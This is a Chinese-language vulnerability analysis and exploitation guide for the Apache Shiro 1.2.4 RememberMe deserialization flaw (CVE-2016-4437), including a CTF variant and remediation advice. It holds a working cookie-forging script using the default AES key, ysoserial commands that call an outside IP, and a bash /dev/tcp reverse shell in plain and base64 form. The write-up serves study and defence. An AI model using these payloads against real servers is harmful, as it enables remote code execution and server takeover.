Java反序列化入门-Shiro RememberMe 1.2.4远程代码执行漏洞-详细分析
字数 1596 2025-08-26 22:11:15

Apache Shiro RememberMe 1.2.4 反序列化漏洞深入分析与利用指南

0x00 漏洞概述

Apache Shiro是一个强大且易用的Java安全框架,提供认证、授权、加密和会话管理等功能。在Shiro 1.2.4及之前版本中,存在一个严重的反序列化漏洞(CVE-2016-4437),攻击者可以通过构造恶意的RememberMe cookie实现远程代码执行(RCE)。

0x01 漏洞复现

环境准备

  1. 漏洞环境搭建:

    git clone https://github.com/Medicean/VulApps.git
    cd VulApps/s/shiro/1
    # 使用docker-compose启动环境
    docker-compose up -d
    
  2. 所需工具:

    • ysoserial.jar(Java反序列化利用工具)
    • Python 2.7+(用于生成payload)
    • Burp Suite(用于发送恶意请求)

漏洞验证步骤

  1. 准备RMI服务端(在攻击者VPS上执行):

    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 'curl 192.168.127.129:2345'
    
  2. 生成恶意RememberMe cookie

    import sys
    import uuid
    import base64
    import subprocess
    from Crypto.Cipher import AES
    
    def encode_rememberme(command):
        popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
        iv = uuid.uuid4().bytes
        encryptor = AES.new(key, AES.MODE_CBC, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    
    if __name__ == '__main__':
        payload = encode_rememberme(sys.argv[1])    
        print "rememberMe={0}".format(payload.decode())
    
  3. 发送恶意请求

    • 使用Burp Suite拦截登录请求
    • 添加生成的rememberMe cookie
    • 发送请求触发漏洞

反弹Shell利用

  1. 准备反弹Shell命令

    bash -i >& /dev/tcp/攻击者IP/2345 0>&1
    

    使用在线工具进行Base64编码

  2. 启动RMI服务端

    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNy4xMjkvMjM0NSAwPiYxIA==}|{base64,-d}|{bash,-i}'
    
  3. 生成新的payload并发送,监听2345端口获取shell

0x02 漏洞原理深度分析

Shiro RememberMe机制

Shiro提供了RememberMe功能,允许用户通过cookie保持登录状态。其处理流程如下:

  1. 序列化:将用户身份信息(PrincipalCollection)序列化为字节数组
  2. 加密:使用AES-CBC模式加密序列化数据
  3. Base64编码:将加密结果进行Base64编码后设置为cookie

关键代码分析

加密过程

  1. 入口点org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin

    public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
        forgetIdentity(subject); // 清除之前的身份信息
        if (isRememberMe(token)) {
            rememberIdentity(subject, token, info); // 记住身份信息
        }
    }
    
  2. 序列化与加密org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity

    protected void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
        PrincipalCollection principals = info.getPrincipals();
        byte[] bytes = convertPrincipalsToBytes(principals); // 序列化
        bytes = encrypt(bytes); // 加密
        rememberSerializedIdentity(subject, bytes); // 存储为cookie
    }
    
  3. 加密实现org.apache.shiro.crypto.JcaCipherService#encrypt

    public ByteSource encrypt(byte[] plaintext, byte[] key) {
        byte[] iv = generateInitializationVector(false);
        byte[] ciphertext = crypt(plaintext, key, iv, Cipher.ENCRYPT_MODE);
        return ByteSource.Util.bytes(combine(iv, ciphertext));
    }
    

解密过程

  1. 入口点org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity

    protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
        String base64 = getCookie().readValue(WebUtils.toHttp(subjectContext));
        return base64 != null ? Base64.decode(base64) : null;
    }
    
  2. 解密与反序列化org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals

    protected PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
        byte[] bytes = getRememberedSerializedIdentity(subjectContext);
        if (bytes != null && bytes.length > 0) {
            bytes = decrypt(bytes); // 解密
            return deserialize(bytes); // 反序列化
        }
        return null;
    }
    
  3. 反序列化实现org.apache.shiro.io.DefaultSerializer#deserialize

    public T deserialize(byte[] serialized) throws SerializationException {
        ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
        ObjectInputStream ois = new ObjectInputStream(bais);
        return (T) ois.readObject(); // 漏洞触发点
    }
    

漏洞根源

  1. 硬编码AES密钥kPH+bIxk5D2deZiIxcaaaA==被硬编码在代码中

    public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES); // 硬编码密钥
    }
    
  2. 加密模式可预测:使用CBC模式,IV为前16字节

  3. 反序列化无过滤:直接对用户控制的输入进行反序列化

0x03 变种分析:Ogeek线下Java-Shiro

自定义加密实现

题目实现了自定义的ShiroCipherService,加密逻辑如下:

  1. 加密过程

    public ByteSource encrypt(byte[] plaintext, byte[] key) {
        // 生成随机签名
        String sign = (new Md5Hash(UUID.randomUUID().toString())).toString() + "asfda-92u134-";
    
        // 获取请求信息
        Subject subject = SecurityUtils.getSubject();
        HttpServletRequest servletRequest = WebUtils.getHttpRequest(subject);
        String user_agent = servletRequest.getHeader("User-Agent");
        String ip_address = servletRequest.getHeader("X-Forwarded-For");
        ip_address = ip_address == null ? servletRequest.getRemoteAddr() : ip_address;
    
        // 构造JSON数据
        String data = "{\"user_is_login\":\"1\",\"sign\":\"" + sign + "\",\"ip_address\":\"" + ip_address + "\",\"user_agent\":\"" + user_agent + "\",\"serialize_data\":\"" + Base64.getEncoder().encodeToString(plaintext) + "\"}";
    
        // 多层加密处理
        byte[] data_bytes = data.getBytes();
        byte[] okey = (new Sha1Hash(new String(key))).toString().getBytes();
        byte[] mkey = (new Sha1Hash(UUID.randomUUID().toString())).toString().getBytes();
        byte[] out = new byte[2 * data_bytes.length];
    
        // 加密算法
        for(int i = 0; i < data_bytes.length; ++i) {
            out[i * 2] = mkey[i % mkey.length];
            out[i * 2 + 1] = (byte)(mkey[i % mkey.length] ^ data_bytes[i]);
        }
    
        byte[] result = new byte[out.length];
        for(int i = 0; i < out.length; ++i) {
            result[i] = (byte)(out[i] ^ okey[i % okey.length]);
        }
    
        return Util.bytes(result);
    }
    
  2. 解密过程

    public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {
        String skey = (new Sha1Hash(new String(key))).toString();
        byte[] bkey = skey.getBytes();
        byte[] data_bytes = new byte[ciphertext.length];
    
        // 第一层解密
        for(int i = 0; i < ciphertext.length; ++i) {
            data_bytes[i] = (byte)(ciphertext[i] ^ bkey[i % bkey.length]);
        }
    
        // 第二层解密
        byte[] jsonData = new byte[ciphertext.length / 2];
        for(int i = 0; i < jsonData.length; ++i) {
            jsonData[i] = (byte)(data_bytes[i * 2] ^ data_bytes[i * 2 + 1]);
        }
    
        // 提取序列化数据
        JSONObject jsonObject = new JSONObject(new String(jsonData));
        String serial = (String)jsonObject.get("serialize_data");
        return Util.bytes(Base64.getDecoder().decode(serial));
    }
    

密钥管理

密钥从remember.key文件中读取,初始为32位随机字符串:

private byte[] getKeyFromConfig() {
    try {
        InputStream fileInputStream = this.getClass().getResourceAsStream("remember.key");
        String key = "";
        if (fileInputStream != null && fileInputStream.available() >= 32) {
            byte[] bytes = new byte[fileInputStream.available()];
            fileInputStream.read(bytes);
            key = new String(bytes);
            fileInputStream.close();
        } else {
            // 生成新密钥
            BufferedWriter writer = new BufferedWriter(new FileWriter(this.getClass().getResource("/").getPath() + "com/collection/shiro/manager/remember.key"));
            key = RandomStringUtils.random(32, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_=");
            writer.write(key);
            writer.close();
        }
        
        key = (new Md5Hash(key)).toString();
        return key.getBytes();
    } catch (Exception var4) {
        var4.printStackTrace();
        return null;
    }
}

0x04 漏洞修复方案

  1. 官方推荐修复方式

    • 升级到Shiro 1.2.5及以上版本
    • 不配置硬编码密钥,让Shiro每次生成随机密钥
  2. 自定义密钥生成

    // 使用官方提供的密钥生成方法
    byte[] key = new AesCipherService().generateNewKey().getEncoded();
    
  3. 防御措施

    • 禁用RememberMe功能(如果不必要)
    • 实现自定义的RememberMeManager,添加反序列化过滤
    • 使用白名单限制可反序列化的类

0x05 参考资源

  1. Shiro RememberMe 1.2.4反序列化漏洞分析
  2. Java反序列化漏洞原理
  3. Shiro安全最佳实践
  4. ysoserial工具使用指南
Apache Shiro RememberMe 1.2.4 反序列化漏洞深入分析与利用指南 0x00 漏洞概述 Apache Shiro是一个强大且易用的Java安全框架,提供认证、授权、加密和会话管理等功能。在Shiro 1.2.4及之前版本中,存在一个严重的反序列化漏洞(CVE-2016-4437),攻击者可以通过构造恶意的RememberMe cookie实现远程代码执行(RCE)。 0x01 漏洞复现 环境准备 漏洞环境搭建: 所需工具: ysoserial.jar(Java反序列化利用工具) Python 2.7+(用于生成payload) Burp Suite(用于发送恶意请求) 漏洞验证步骤 准备RMI服务端 (在攻击者VPS上执行): 生成恶意RememberMe cookie : 发送恶意请求 : 使用Burp Suite拦截登录请求 添加生成的rememberMe cookie 发送请求触发漏洞 反弹Shell利用 准备反弹Shell命令 : 使用 在线工具 进行Base64编码 启动RMI服务端 : 生成新的payload并发送 ,监听2345端口获取shell 0x02 漏洞原理深度分析 Shiro RememberMe机制 Shiro提供了RememberMe功能,允许用户通过cookie保持登录状态。其处理流程如下: 序列化 :将用户身份信息(PrincipalCollection)序列化为字节数组 加密 :使用AES-CBC模式加密序列化数据 Base64编码 :将加密结果进行Base64编码后设置为cookie 关键代码分析 加密过程 入口点 : org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin 序列化与加密 : org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity 加密实现 : org.apache.shiro.crypto.JcaCipherService#encrypt 解密过程 入口点 : org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity 解密与反序列化 : org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals 反序列化实现 : org.apache.shiro.io.DefaultSerializer#deserialize 漏洞根源 硬编码AES密钥 : kPH+bIxk5D2deZiIxcaaaA== 被硬编码在代码中 加密模式可预测 :使用CBC模式,IV为前16字节 反序列化无过滤 :直接对用户控制的输入进行反序列化 0x03 变种分析:Ogeek线下Java-Shiro 自定义加密实现 题目实现了自定义的 ShiroCipherService ,加密逻辑如下: 加密过程 : 解密过程 : 密钥管理 密钥从 remember.key 文件中读取,初始为32位随机字符串: 0x04 漏洞修复方案 官方推荐修复方式 : 升级到Shiro 1.2.5及以上版本 不配置硬编码密钥,让Shiro每次生成随机密钥 自定义密钥生成 : 防御措施 : 禁用RememberMe功能(如果不必要) 实现自定义的 RememberMeManager ,添加反序列化过滤 使用白名单限制可反序列化的类 0x05 参考资源 Shiro RememberMe 1.2.4反序列化漏洞分析 Java反序列化漏洞原理 Shiro安全最佳实践 ysoserial工具使用指南